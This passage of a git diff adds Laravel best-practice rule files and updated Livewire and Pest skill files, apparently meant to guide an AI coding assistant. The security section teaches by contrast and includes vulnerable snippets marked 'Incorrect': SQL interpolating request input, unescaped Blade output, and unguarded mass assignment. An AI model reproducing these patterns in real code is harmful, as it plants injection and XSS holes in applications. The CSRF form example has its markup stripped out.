already established. + +## Use `ShouldntReport` for Exceptions That Should Never Log + +More discoverable than listing classes in `dontReport()`. + +```php +class PodcastProcessingException extends Exception implements ShouldntReport {} +``` + +## Throttle High-Volume Exceptions + +A single failing integration can flood error tracking. Use `throttle()` to rate-limit per exception type. + +## Enable `dontReportDuplicates()` + +Prevents the same exception instance from being logged multiple times when `report($e)` is called in multiple catch blocks. + +## Force JSON Error Rendering for API Routes + +Laravel auto-detects `Accept: application/json` but API clients may not set it. Explicitly declare JSON rendering for API routes. + +```php +$exceptions->shouldRenderJsonWhen(function (Request $request, Throwable $e) { + return $request->is('api/*') || $request->expectsJson(); +}); +``` + +## Add Context to Exception Classes + +Attach structured data to exceptions at the source via a `context()` method — Laravel includes it automatically in the log entry. + +```php +class InvalidOrderException extends Exception +{ + public function context(): array + { + return ['order_id' => $this->orderId]; + } +} +``` \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/events-notifications.md b/.claude/skills/laravel-best-practices/rules/events-notifications.md new file mode 100644 index 000000000..bc43f1997 --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/events-notifications.md @@ -0,0 +1,48 @@ +# Events & Notifications Best Practices + +## Rely on Event Discovery + +Laravel auto-discovers listeners by reading `handle(EventType $event)` type-hints. No manual registration needed in `AppServiceProvider`. + +## Run `event:cache` in Production Deploy + +Event discovery scans the filesystem per-request in dev. Cache it in production: `php artisan optimize` or `php artisan event:cache`. + +## Use `ShouldDispatchAfterCommit` Inside Transactions + +Without it, a queued listener may process before the DB transaction commits, reading data that doesn't exist yet. + +```php +class OrderShipped implements ShouldDispatchAfterCommit {} +``` + +## Always Queue Notifications + +Notifications often hit external APIs (email, SMS, Slack). Without `ShouldQueue`, they block the HTTP response. + +```php +class InvoicePaid extends Notification implements ShouldQueue +{ + use Queueable; +} +``` + +## Use `afterCommit()` on Notifications in Transactions + +Same race condition as events — the queued notification job may run before the transaction commits. + +## Route Notification Channels to Dedicated Queues + +Mail and database notifications have different priorities. Use `viaQueues()` to route them to separate queues. + +## Use On-Demand Notifications for Non-User Recipients + +Avoid creating dummy models to send notifications to arbitrary addresses. + +```php +Notification::route('mail', 'admin@example.com')->notify(new SystemAlert()); +``` + +## Implement `HasLocalePreference` on Notifiable Models + +Laravel automatically uses the user's preferred locale for all notifications and mailables — no per-call `locale()` needed. \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/http-client.md b/.claude/skills/laravel-best-practices/rules/http-client.md new file mode 100644 index 000000000..0a7876ed3 --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/http-client.md @@ -0,0 +1,160 @@ +# HTTP Client Best Practices + +## Always Set Explicit Timeouts + +The default timeout is 30 seconds — too long for most API calls. Always set explicit `timeout` and `connectTimeout` to fail fast. + +Incorrect: +```php +$response = Http::get('https://api.example.com/users'); +``` + +Correct: +```php +$response = Http::timeout(5) + ->connectTimeout(3) + ->get('https://api.example.com/users'); +``` + +For service-specific clients, define timeouts in a macro: + +```php +Http::macro('github', function () { + return Http::baseUrl('https://api.github.com') + ->timeout(10) + ->connectTimeout(3) + ->withToken(config('services.github.token')); +}); + +$response = Http::github()->get('/repos/laravel/framework'); +``` + +## Use Retry with Backoff for External APIs + +External APIs have transient failures. Use `retry()` with increasing delays. + +Incorrect: +```php +$response = Http::post('https://api.stripe.com/v1/charges', $data); + +if ($response->failed()) { + throw new PaymentFailedException('Charge failed'); +} +``` + +Correct: +```php +$response = Http::retry([100, 500, 1000]) + ->timeout(10) + ->post('https://api.stripe.com/v1/charges', $data); +``` + +Only retry on specific errors: + +```php +$response = Http::retry(3, 100, function (Exception $exception, PendingRequest $request) { + return $exception instanceof ConnectionException + || ($exception instanceof RequestException && $exception->response->serverError()); +})->post('https://api.example.com/data'); +``` + +## Handle Errors Explicitly + +The HTTP Client does not throw on 4xx/5xx by default. Always check status or use `throw()`. + +Incorrect: +```php +$response = Http::get('https://api.example.com/users/1'); +$user = $response->json(); // Could be an error body +``` + +Correct: +```php +$response = Http::timeout(5) + ->get('https://api.example.com/users/1') + ->throw(); + +$user = $response->json(); +``` + +For graceful degradation: + +```php +$response = Http::get('https://api.example.com/users/1'); + +if ($response->successful()) { + return $response->json(); +} + +if ($response->notFound()) { + return null; +} + +$response->throw(); +``` + +## Use Request Pooling for Concurrent Requests + +When making multiple independent API calls, use `Http::pool()` instead of sequential calls. + +Incorrect: +```php +$users = Http::get('https://api.example.com/users')->json(); +$posts = Http::get('https://api.example.com/posts')->json(); +$comments = Http::get('https://api.example.com/comments')->json(); +``` + +Correct: +```php +use Illuminate\Http\Client\Pool; + +$responses = Http::pool(fn (Pool $pool) => [ + $pool->as('users')->get('https://api.example.com/users'), + $pool->as('posts')->get('https://api.example.com/posts'), + $pool->as('comments')->get('https://api.example.com/comments'), +]); + +$users = $responses['users']->json(); +$posts = $responses['posts']->json(); +``` + +## Fake HTTP Calls in Tests + +Never make real HTTP requests in tests. Use `Http::fake()` and `preventStrayRequests()`. + +Incorrect: +```php +it('syncs user from API', function () { + $service = new UserSyncService; + $service->sync(1); // Hits the real API +}); +``` + +Correct: +```php +it('syncs user from API', function () { + Http::preventStrayRequests(); + + Http::fake([ + 'api.example.com/users/1' => Http::response([ + 'name' => 'John Doe', + 'email' => 'john@example.com', + ]), + ]); + + $service = new UserSyncService; + $service->sync(1); + + Http::assertSent(function (Request $request) { + return $request->url() === 'https://api.example.com/users/1'; + }); +}); +``` + +Test failure scenarios too: + +```php +Http::fake([ + 'api.example.com/*' => Http::failedConnection(), +]); +``` \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/mail.md b/.claude/skills/laravel-best-practices/rules/mail.md new file mode 100644 index 000000000..c7f67966e --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/mail.md @@ -0,0 +1,27 @@ +# Mail Best Practices + +## Implement `ShouldQueue` on the Mailable Class + +Makes queueing the default regardless of how the mailable is dispatched. No need to remember `Mail::queue()` at every call site — `Mail::send()` also queues it. + +## Use `afterCommit()` on Mailables Inside Transactions + +A queued mailable dispatched inside a transaction may process before the commit. Use `$this->afterCommit()` in the constructor. + +## Use `assertQueued()` Not `assertSent()` for Queued Mailables + +`Mail::assertSent()` only catches synchronous mail. Queued mailables silently pass `assertSent`, giving false confidence. + +Incorrect: `Mail::assertSent(OrderShipped::class);` when mailable implements `ShouldQueue`. + +Correct: `Mail::assertQueued(OrderShipped::class);` + +## Use Markdown Mailables for Transactional Emails + +Markdown mailables auto-generate both HTML and plain-text versions, use responsive components, and allow global style customization. Generate with `--markdown` flag. + +## Separate Content Tests from Sending Tests + +Content tests: instantiate the mailable directly, call `assertSeeInHtml()`. +Sending tests: use `Mail::fake()` and `assertSent()`/`assertQueued()`. +Don't mix them — it conflates concerns and makes tests brittle. \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/migrations.md b/.claude/skills/laravel-best-practices/rules/migrations.md new file mode 100644 index 000000000..de25aa39c --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/migrations.md @@ -0,0 +1,121 @@ +# Migration Best Practices + +## Generate Migrations with Artisan + +Always use `php artisan make:migration` for consistent naming and timestamps. + +Incorrect (manually created file): +```php +// database/migrations/posts_migration.php ← wrong naming, no timestamp +``` + +Correct (Artisan-generated): +```bash +php artisan make:migration create_posts_table +php artisan make:migration add_slug_to_posts_table +``` + +## Use `constrained()` for Foreign Keys + +Automatic naming and referential integrity. + +```php +$table->foreignId('user_id')->constrained()->cascadeOnDelete(); + +// Non-standard names +$table->foreignId('author_id')->constrained('users'); +``` + +## Never Modify Deployed Migrations + +Once a migration has run in production, treat it as immutable. Create a new migration to change the table. + +Incorrect (editing a deployed migration): +```php +// 2024_01_01_create_posts_table.php — already in production +$table->string('slug')->unique(); // ← added after deployment +``` + +Correct (new migration to alter): +```php +// 2024_03_15_add_slug_to_posts_table.php +Schema::table('posts', function (Blueprint $table) { + $table->string('slug')->unique()->after('title'); +}); +``` + +## Add Indexes in the Migration + +Add indexes when creating the table, not as an afterthought. Columns used in `WHERE`, `ORDER BY`, and `JOIN` clauses need indexes. + +Incorrect: +```php +Schema::create('orders', function (Blueprint $table) { + $table->id(); + $table->foreignId('user_id')->constrained(); + $table->string('status'); + $table->timestamps(); +}); +``` + +Correct: +```php +Schema::create('orders', function (Blueprint $table) { + $table->id(); + $table->foreignId('user_id')->constrained()->index(); + $table->string('status')->index(); + $table->timestamp('shipped_at')->nullable()->index(); + $table->timestamps(); +}); +``` + +## Mirror Defaults in Model `$attributes` + +When a column has a database default, mirror it in the model so new instances have correct values before saving. + +```php +// Migration +$table->string('status')->default('pending'); + +// Model +protected $attributes = [ + 'status' => 'pending', +]; +``` + +## Write Reversible `down()` Methods by Default + +Implement `down()` for schema changes that can be safely reversed so `migrate:rollback` works in CI and failed deployments. + +```php +public function down(): void +{ + Schema::table('posts', function (Blueprint $table) { + $table->dropColumn('slug'); + }); +} +``` + +For intentionally irreversible migrations (e.g., destructive data backfills), leave a clear comment and require a forward fix migration instead of pretending rollback is supported. + +## Keep Migrations Focused + +One concern per migration. Never mix DDL (schema changes) and DML (data manipulation). + +Incorrect (partial failure creates unrecoverable state): +```php +public function up(): void +{ + Schema::create('settings', function (Blueprint $table) { ... }); + DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']); +} +``` + +Correct (separate migrations): +```php +// Migration 1: create_settings_table +Schema::create('settings', function (Blueprint $table) { ... }); + +// Migration 2: seed_default_settings +DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']); +``` \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/queue-jobs.md b/.claude/skills/laravel-best-practices/rules/queue-jobs.md new file mode 100644 index 000000000..d4575aac0 --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/queue-jobs.md @@ -0,0 +1,146 @@ +# Queue & Job Best Practices + +## Set `retry_after` Greater Than `timeout` + +If `retry_after` is shorter than the job's `timeout`, the queue worker re-dispatches the job while it's still running, causing duplicate execution. + +Incorrect (`retry_after` ≤ `timeout`): +```php +class ProcessReport implements ShouldQueue +{ + public $timeout = 120; +} + +// config/queue.php — retry_after: 90 ← job retried while still running! +``` + +Correct (`retry_after` > `timeout`): +```php +class ProcessReport implements ShouldQueue +{ + public $timeout = 120; +} + +// config/queue.php — retry_after: 180 ← safely longer than any job timeout +``` + +## Use Exponential Backoff + +Use progressively longer delays between retries to avoid hammering failing services. + +Incorrect (fixed retry interval): +```php +class SyncWithStripe implements ShouldQueue +{ + public $tries = 3; + // Default: retries immediately, overwhelming the API +} +``` + +Correct (exponential backoff): +```php +class SyncWithStripe implements ShouldQueue +{ + public $tries = 3; + public $backoff = [1, 5, 10]; +} +``` + +## Implement `ShouldBeUnique` + +Prevent duplicate job processing. + +```php +class GenerateInvoice implements ShouldQueue, ShouldBeUnique +{ + public function uniqueId(): string + { + return $this->order->id; + } + + public $uniqueFor = 3600; +} +``` + +## Always Implement `failed()` + +Handle errors explicitly — don't rely on silent failure. + +```php +public function failed(?Throwable $exception): void +{ + $this->podcast->update(['status' => 'failed']); + Log::error('Processing failed', ['id' => $this->podcast->id, 'error' => $exception->getMessage()]); +} +``` + +## Rate Limit External API Calls in Jobs + +Use `RateLimited` middleware to throttle jobs calling third-party APIs. + +```php +public function middleware(): array +{ + return [new RateLimited('external-api')]; +} +``` + +## Batch Related Jobs + +Use `Bus::batch()` when jobs should succeed or fail together. + +```php +Bus::batch([ + new ImportCsvChunk($chunk1), + new ImportCsvChunk($chunk2), +]) +->then(fn (Batch $batch) => Notification::send($user, new ImportComplete)) +->catch(fn (Batch $batch, Throwable $e) => Log::error('Batch failed')) +->dispatch(); +``` + +## `retryUntil()` Needs `$tries = 0` + +When using time-based retry limits, set `$tries = 0` to avoid premature failure. + +```php +public $tries = 0; + +public function retryUntil(): DateTime +{ + return now()->addHours(4); +} +``` + +## Use `WithoutOverlapping::untilProcessing()` + +Prevents concurrent execution while allowing new instances to queue. + +```php +public function middleware(): array +{ + return [new WithoutOverlapping($this->product->id)->untilProcessing()]; +} +``` + +Without `untilProcessing()`, the lock extends through queue wait time. With it, the lock releases when processing starts. + +## Use Horizon for Complex Queue Scenarios + +Use Laravel Horizon when you need monitoring, auto-scaling, failure tracking, or multiple queues with different priorities. + +```php +// config/horizon.php +'environments' => [ + 'production' => [ + 'supervisor-1' => [ + 'connection' => 'redis', + 'queue' => ['high', 'default', 'low'], + 'balance' => 'auto', + 'minProcesses' => 1, + 'maxProcesses' => 10, + 'tries' => 3, + ], + ], +], +``` \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/routing.md b/.claude/skills/laravel-best-practices/rules/routing.md new file mode 100644 index 000000000..e288375d7 --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/routing.md @@ -0,0 +1,98 @@ +# Routing & Controllers Best Practices + +## Use Implicit Route Model Binding + +Let Laravel resolve models automatically from route parameters. + +Incorrect: +```php +public function show(int $id) +{ + $post = Post::findOrFail($id); +} +``` + +Correct: +```php +public function show(Post $post) +{ + return view('posts.show', ['post' => $post]); +} +``` + +## Use Scoped Bindings for Nested Resources + +Enforce parent-child relationships automatically. + +```php +Route::get('/users/{user}/posts/{post}', function (User $user, Post $post) { + // $post is automatically scoped to $user +})->scopeBindings(); +``` + +## Use Resource Controllers + +Use `Route::resource()` or `apiResource()` for RESTful endpoints. + +```php +Route::resource('posts', PostController::class); +Route::apiResource('api/posts', Api\PostController::class); +``` + +## Keep Controllers Thin + +Aim for under 10 lines per method. Extract business logic to action or service classes. + +Incorrect: +```php +public function store(Request $request) +{ + $validated = $request->validate([...]); + if ($request->hasFile('image')) { + $request->file('image')->move(public_path('images')); + } + $post = Post::create($validated); + $post->tags()->sync($validated['tags']); + event(new PostCreated($post)); + return redirect()->route('posts.show', $post); +} +``` + +Correct: +```php +public function store(StorePostRequest $request, CreatePostAction $create) +{ + $post = $create->execute($request->validated()); + + return redirect()->route('posts.show', $post); +} +``` + +## Type-Hint Form Requests + +Type-hinting Form Requests triggers automatic validation and authorization before the method executes. + +Incorrect: +```php +public function store(Request $request): RedirectResponse +{ + $validated = $request->validate([ + 'title' => ['required', 'max:255'], + 'body' => ['required'], + ]); + + Post::create($validated); + + return redirect()->route('posts.index'); +} +``` + +Correct: +```php +public function store(StorePostRequest $request): RedirectResponse +{ + Post::create($request->validated()); + + return redirect()->route('posts.index'); +} +``` \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/scheduling.md b/.claude/skills/laravel-best-practices/rules/scheduling.md new file mode 100644 index 000000000..dfaefa26f --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/scheduling.md @@ -0,0 +1,39 @@ +# Task Scheduling Best Practices + +## Use `withoutOverlapping()` on Variable-Duration Tasks + +Without it, a long-running task spawns a second instance on the next tick, causing double-processing or resource exhaustion. + +## Use `onOneServer()` on Multi-Server Deployments + +Without it, every server runs the same task simultaneously. Requires a shared cache driver (Redis, database, Memcached). + +## Use `runInBackground()` for Concurrent Long Tasks + +By default, tasks at the same tick run sequentially. A slow first task delays all subsequent ones. `runInBackground()` runs them as separate processes. + +## Use `environments()` to Restrict Tasks + +Prevent accidental execution of production-only tasks (billing, reporting) on staging. + +```php +Schedule::command('billing:charge')->monthly()->environments(['production']); +``` + +## Use `takeUntilTimeout()` for Time-Bounded Processing + +A task running every 15 minutes that processes an unbounded cursor can overlap with the next run. Bound execution time. + +## Use Schedule Groups for Shared Configuration + +Avoid repeating `->onOneServer()->timezone('America/New_York')` across many tasks. + +```php +Schedule::daily() + ->onOneServer() + ->timezone('America/New_York') + ->group(function () { + Schedule::command('emails:send --force'); + Schedule::command('emails:prune'); + }); +``` \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/security.md b/.claude/skills/laravel-best-practices/rules/security.md new file mode 100644 index 000000000..524d47e61 --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/security.md @@ -0,0 +1,198 @@ +# Security Best Practices + +## Mass Assignment Protection + +Every model must define `$fillable` (whitelist) or `$guarded` (blacklist). + +Incorrect: +```php +class User extends Model +{ + protected $guarded = []; // All fields are mass assignable +} +``` + +Correct: +```php +class User extends Model +{ + protected $fillable = [ + 'name', + 'email', + 'password', + ]; +} +``` + +Never use `$guarded = []` on models that accept user input. + +## Authorize Every Action + +Use policies or gates in controllers. Never skip authorization. + +Incorrect: +```php +public function update(Request $request, Post $post) +{ + $post->update($request->validated()); +} +``` + +Correct: +```php +public function update(UpdatePostRequest $request, Post $post) +{ + Gate::authorize('update', $post); + + $post->update($request->validated()); +} +``` + +Or via Form Request: + +```php +public function authorize(): bool +{ + return $this->user()->can('update', $this->route('post')); +} +``` + +## Prevent SQL Injection + +Always use parameter binding. Never interpolate user input into queries. + +Incorrect: +```php +DB::select("SELECT * FROM users WHERE name = '{$request->name}'"); +``` + +Correct: +```php +User::where('name', $request->name)->get(); + +// Raw expressions with bindings +User::whereRaw('LOWER(name) = ?', [strtolower($request->name)])->get(); +``` + +## Escape Output to Prevent XSS + +Use `{{ }}` for HTML escaping. Only use `{!! !!}` for trusted, pre-sanitized content. + +Incorrect: +```blade +{!! $user->bio !!} +``` + +Correct: +```blade +{{ $user->bio }} +``` + +## CSRF Protection + +Include `@csrf` in all POST/PUT/DELETE Blade forms. Not needed in Inertia. + +Incorrect: +```blade +
+ +
+``` + +Correct: +```blade +
+ @csrf + +
+``` + +## Rate Limit Auth and API Routes + +Apply `throttle` middleware to authentication and API routes. + +```php +RateLimiter::for('login', function (Request $request) { + return Limit::perMinute(5)->by($request->ip()); +}); + +Route::post('/login', LoginController::class)->middleware('throttle:login'); +``` + +## Validate File Uploads + +Validate MIME type, extension, and size. Never trust client-provided filenames. + +```php +public function rules(): array +{ + return [ + 'avatar' => ['required', 'image', 'mimes:jpg,jpeg,png,webp', 'max:2048'], + ]; +} +``` + +Store with generated filenames: + +```php +$path = $request->file('avatar')->store('avatars', 'public'); +``` + +## Keep Secrets Out of Code + +Never commit `.env`. Access secrets via `config()` only. + +Incorrect: +```php +$key = env('API_KEY'); +``` + +Correct: +```php +// config/services.php +'api_key' => env('API_KEY'), + +// In application code +$key = config('services.api_key'); +``` + +## Audit Dependencies + +Run `composer audit` periodically to check for known vulnerabilities in dependencies. Automate this in CI to catch issues before deployment. + +```bash +composer audit +``` + +## Encrypt Sensitive Database Fields + +Use `encrypted` cast for API keys/tokens and mark the attribute as `hidden`. + +Incorrect: +```php +class Integration extends Model +{ + protected function casts(): array + { + return [ + 'api_key' => 'string', + ]; + } +} +``` + +Correct: +```php +class Integration extends Model +{ + protected $hidden = ['api_key', 'api_secret']; + + protected function casts(): array + { + return [ + 'api_key' => 'encrypted', + 'api_secret' => 'encrypted', + ]; + } +} +``` \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/style.md b/.claude/skills/laravel-best-practices/rules/style.md new file mode 100644 index 000000000..db689bf77 Binary files /dev/null and b/.claude/skills/laravel-best-practices/rules/style.md differ diff --git a/.claude/skills/laravel-best-practices/rules/testing.md b/.claude/skills/laravel-best-practices/rules/testing.md new file mode 100644 index 000000000..d39cc3ed0 --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/testing.md @@ -0,0 +1,43 @@ +# Testing Best Practices + +## Use `LazilyRefreshDatabase` Over `RefreshDatabase` + +`RefreshDatabase` runs all migrations every test run even when the schema hasn't changed. `LazilyRefreshDatabase` only migrates when needed, significantly speeding up large suites. + +## Use Model Assertions Over Raw Database Assertions + +Incorrect: `$this->assertDatabaseHas('users', ['id' => $user->id]);` + +Correct: `$this->assertModelExists($user);` + +More expressive, type-safe, and fails with clearer messages. + +## Use Factory States and Sequences + +Named states make tests self-documenting. Sequences eliminate repetitive setup. + +Incorrect: `User::factory()->create(['email_verified_at' => null]);` + +Correct: `User::factory()->unverified()->create();` + +## Use `Exceptions::fake()` to Assert Exception Reporting + +Instead of `withoutExceptionHandling()`, use `Exceptions::fake()` to assert the correct exception was reported while the request completes normally. + +## Call `Event::fake()` After Factory Setup + +Model factories rely on model events (e.g., `creating` to generate UUIDs). Calling `Event::fake()` before factory calls silences those events, producing broken models. + +Incorrect: `Event::fake(); $user = User::factory()->create();` + +Correct: `$user = User::factory()->create(); Event::fake();` + +## Use `recycle()` to Share Relationship Instances Across Factories + +Without `recycle()`, nested factories create separate instances of the same conceptual entity. + +```php +Ticket::factory() + ->recycle(Airline::factory()->create()) + ->create(); +``` \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/validation.md b/.claude/skills/laravel-best-practices/rules/validation.md new file mode 100644 index 000000000..a20202ff1 --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/validation.md @@ -0,0 +1,75 @@ +# Validation & Forms Best Practices + +## Use Form Request Classes + +Extract validation from controllers into dedicated Form Request classes. + +Incorrect: +```php +public function store(Request $request) +{ + $request->validate([ + 'title' => 'required|max:255', + 'body' => 'required', + ]); +} +``` + +Correct: +```php +public function store(StorePostRequest $request) +{ + Post::create($request->validated()); +} +``` + +## Array vs. String Notation for Rules + +Array syntax is more readable and composes cleanly with `Rule::` objects. Prefer it in new code, but check existing Form Requests first and match whatever notation the project already uses. + +```php +// Preferred for new code +'email' => ['required', 'email', Rule::unique('users')], + +// Follow existing convention if the project uses string notation +'email' => 'required|email|unique:users', +``` + +## Always Use `validated()` + +Get only validated data. Never use `$request->all()` for mass operations. + +Incorrect: +```php +Post::create($request->all()); +``` + +Correct: +```php +Post::create($request->validated()); +``` + +## Use `Rule::when()` for Conditional Validation + +```php +'company_name' => [ + Rule::when($this->account_type === 'business', ['required', 'string', 'max:255']), +], +``` + +## Use the `after()` Method for Custom Validation + +Use `after()` instead of `withValidator()` for custom validation logic that depends on multiple fields. + +```php +public function after(): array +{ + return [ + function (Validator $validator) { + if ($this->quantity > Product::find($this->product_id)?->stock) { + $validator->errors()->add('quantity', 'Not enough stock.'); + } + }, + ]; +} +``` \ No newline at end of file diff --git a/.claude/skills/livewire-development/SKILL.md b/.claude/skills/livewire-development/SKILL.md index 755d20713..70ecd57d4 100644 --- a/.claude/skills/livewire-development/SKILL.md +++ b/.claude/skills/livewire-development/SKILL.md @@ -1,24 +1,13 @@ --- name: livewire-development -description: >- - Develops reactive Livewire 3 components. Activates when creating, updating, or modifying - Livewire components; working with wire:model, wire:click, wire:loading, or any wire: directives; - adding real-time updates, loading states, or reactivity; debugging component behavior; - writing Livewire tests; or when the user mentions Livewire, component, counter, or reactive UI. +description: "Use for any task or question involving Livewire. Activate if user mentions Livewire, wire: directives, or Livewire-specific concepts like wire:model, wire:click, invoke this skill. Covers building new components, debugging reactivity issues, real-time form validation, loading states, migrating from Livewire 2 to 3, converting component formats (SFC/MFC/class-based), and performance optimization. Do not use for non-Livewire reactive UI (React, Vue, Alpine-only, Inertia.js) or standard Laravel forms without Livewire." +license: MIT +metadata: + author: laravel --- # Livewire Development -## When to Apply - -Activate this skill when: -- Creating new Livewire components -- Modifying existing component state or behavior -- Debugging reactivity or lifecycle issues -- Writing Livewire component tests -- Adding Alpine.js interactivity to components -- Working with wire: directives - ## Documentation Use `search-docs` for detailed Livewire 3 patterns and documentation. @@ -62,33 +51,31 @@ ### Component Structure ### Using Keys in Loops - - + +```blade @foreach ($items as $item)
{{ $item->name }}
@endforeach - -
+``` ### Lifecycle Hooks Prefer lifecycle hooks like `mount()`, `updatedFoo()` for initialization and reactive side effects: - - + +```php public function mount(User $user) { $this->user = $user; } public function updatedSearch() { $this->resetPage(); } - - +``` ## JavaScript Hooks You can listen for `livewire:init` to hook into Livewire initialization: - - + +```js document.addEventListener('livewire:init', function () { Livewire.hook('request', ({ fail }) => { if (fail && fail.status === 419) { @@ -100,28 +87,25 @@ ## JavaScript Hooks console.error(message); }); }); - - +``` ## Testing - - + +```php Livewire::test(Counter::class) ->assertSet('count', 0) ->call('increment') ->assertSet('count', 1) ->assertSee(1) ->assertStatus(200); +``` - - - - + +```php $this->get('/posts/create') ->assertSeeLivewire(CreatePost::class); - - +``` ## Common Pitfalls diff --git a/.claude/skills/pest-testing/SKILL.md b/.claude/skills/pest-testing/SKILL.md index 9ca79830a..ba774e71b 100644 --- a/.claude/skills/pest-testing/SKILL.md +++ b/.claude/skills/pest-testing/SKILL.md @@ -1,63 +1,55 @@ --- name: pest-testing -description: >- - Tests applications using the Pest 4 PHP framework. Activates when writing tests, creating unit or feature - tests, adding assertions, testing Livewire components, browser testing, debugging test failures, - working with datasets or mocking; or when the user mentions test, spec, TDD, expects, assertion, - coverage, or needs to verify functionality works. +description: "Use this skill for Pest PHP testing in Laravel projects only. Trigger whenever any test is being written, edited, fixed, or refactored — including fixing tests that broke after a code change, adding assertions, converting PHPUnit to Pest, adding datasets, and TDD workflows. Always activate when the user asks how to write something in Pest, mentions test files or directories (tests/Feature, tests/Unit, tests/Browser), or needs browser testing, smoke testing multiple pages for JS errors, or architecture tests. Covers: it()/expect() syntax, datasets, mocking, browser testing (visit/click/fill), smoke testing, arch(), Livewire component tests, RefreshDatabase, and all Pest 4 features. Do not use for factories, seeders, migrations, controllers, models, or non-test PHP code." +license: MIT +metadata: + author: laravel --- # Pest Testing 4 -## When to Apply - -Activate this skill when: - -- Creating new tests (unit, feature, or browser) -- Modifying existing tests -- Debugging test failures -- Working with browser testing or smoke testing -- Writing architecture tests or visual regression tests - ## Documentation Use `search-docs` for detailed Pest 4 patterns and documentation. -## Test Directory Structure +## Basic Usage -- `tests/Feature/` and `tests/Unit/` — Legacy tests (keep, don't delete) -- `tests/v4/Feature/` — New feature tests (SQLite :memory: database) -- `tests/v4/Browser/` — Browser tests (Pest Browser Plugin + Playwright) -- `tests/Browser/` — Legacy Dusk browser tests (keep, don't delete) +### Creating Tests -New tests go in `tests/v4/`. The v4 suite uses SQLite :memory: with a schema dump (`database/schema/testing-schema.sql`) instead of running migrations. +All tests must be written using Pest. Use `php artisan make:test --pest {name}`. -Do NOT remove tests without approval. +### Test Organization -## Running Tests +- Unit/Feature tests: `tests/Feature` and `tests/Unit` directories. +- Browser tests: `tests/Browser/` directory. +- Do NOT remove tests without approval - these are core application code. -- All v4 tests: `php artisan test --compact tests/v4/` -- Browser tests: `php artisan test --compact tests/v4/Browser/` -- Feature tests: `php artisan test --compact tests/v4/Feature/` -- Specific file: `php artisan test --compact tests/v4/Browser/LoginTest.php` -- Filter: `php artisan test --compact --filter=testName` -- Headed (see browser): `./vendor/bin/pest tests/v4/Browser/ --headed` -- Debug (pause on failure): `./vendor/bin/pest tests/v4/Browser/ --debug` - -## Basic Test Structure - - +### Basic Test Structure + +```php it('is true', function () { expect(true)->toBeTrue(); }); +``` - +### Running Tests + +- Run minimal tests with filter before finalizing: `php artisan test --compact --filter=testName`. +- Run all tests: `php artisan test --compact`. +- Run file: `php artisan test --compact tests/Feature/ExampleTest.php`. ## Assertions Use specific assertions (`assertSuccessful()`, `assertNotFound()`) instead of `assertStatus()`: + +```php +it('returns all', function () { + $this->postJson('/api/docs', [])->assertSuccessful(); +}); +``` + | Use | Instead of | |-----|------------| | `assertSuccessful()` | `assertStatus(200)` | @@ -70,116 +62,91 @@ ## Mocking ## Datasets -Use datasets for repetitive tests: - - +Use datasets for repetitive tests (validation rules, etc.): + +```php it('has emails', function (string $email) { expect($email)->not->toBeEmpty(); })->with([ 'james' => 'james@laravel.com', 'taylor' => 'taylor@laravel.com', ]); - - - -## Browser Testing (Pest Browser Plugin + Playwright) - -Browser tests use `pestphp/pest-plugin-browser` with Playwright. They run **outside Docker** — the plugin starts an in-process HTTP server and Playwright browser automatically. - -### Key Rules - -1. **Always use `RefreshDatabase`** — the in-process server uses SQLite :memory: -2. **Always seed `InstanceSettings::create(['id' => 0])` in `beforeEach`** — most pages crash without it -3. **Use `User::factory()` for auth tests** — create users with `id => 0` for root user -4. **No Dusk, no Selenium** — use `visit()`, `fill()`, `click()`, `assertSee()` from the Pest Browser API -5. **Place tests in `tests/v4/Browser/`** -6. **Views with bare `function` declarations** will crash on the second request in the same process — wrap with `function_exists()` guard if you encounter this - -### Browser Test Template - - - 0]); -}); - -it('can visit the page', function () { - $page = visit('/login'); - - $page->assertSee('Login'); -}); - - -### Browser Test with Form Interaction - - -it('fails login with invalid credentials', function () { - User::factory()->create([ - 'id' => 0, - 'email' => 'test@example.com', - 'password' => Hash::make('password'), - ]); - - $page = visit('/login'); - - $page->fill('email', 'random@email.com') - ->fill('password', 'wrongpassword123') - ->click('Login') - ->assertSee('These credentials do not match our records'); -}); - - -### Browser API Reference - -| Method | Purpose | -|--------|---------| -| `visit('/path')` | Navigate to a page | -| `->fill('field', 'value')` | Fill an input by name | -| `->click('Button Text')` | Click a button/link by text | -| `->assertSee('text')` | Assert visible text | -| `->assertDontSee('text')` | Assert text is not visible | -| `->assertPathIs('/path')` | Assert current URL path | -| `->assertSeeIn('.selector', 'text')` | Assert text in element | -| `->screenshot()` | Capture screenshot | -| `->debug()` | Pause test, keep browser open | -| `->wait(seconds)` | Wait N seconds | - -### Debugging - -- Screenshots auto-saved to `tests/Browser/Screenshots/` on failure -- `->debug()` pauses and keeps browser open (press Enter to continue) -- `->screenshot()` captures state at any point -- `--headed` flag shows browser, `--debug` pauses on failure - -## SQLite Testing Setup - -v4 tests use SQLite :memory: instead of PostgreSQL. Schema loaded from `database/schema/testing-schema.sql`. - -### Regenerating the Schema - -When migrations change, regenerate from the running PostgreSQL database: - -```bash -docker exec coolify php artisan schema:generate-testing ``` -## Architecture Testing +## Pest 4 Features - +| Feature | Purpose | +|---------|---------| +| Browser Testing | Full integration tests in real browsers | +| Smoke Testing | Validate multiple pages quickly | +| Visual Regression | Compare screenshots for visual changes | +| Test Sharding | Parallel CI runs | +| Architecture Testing | Enforce code conventions | +### Browser Test Example + +Browser tests run in real browsers for full integration testing: + +- 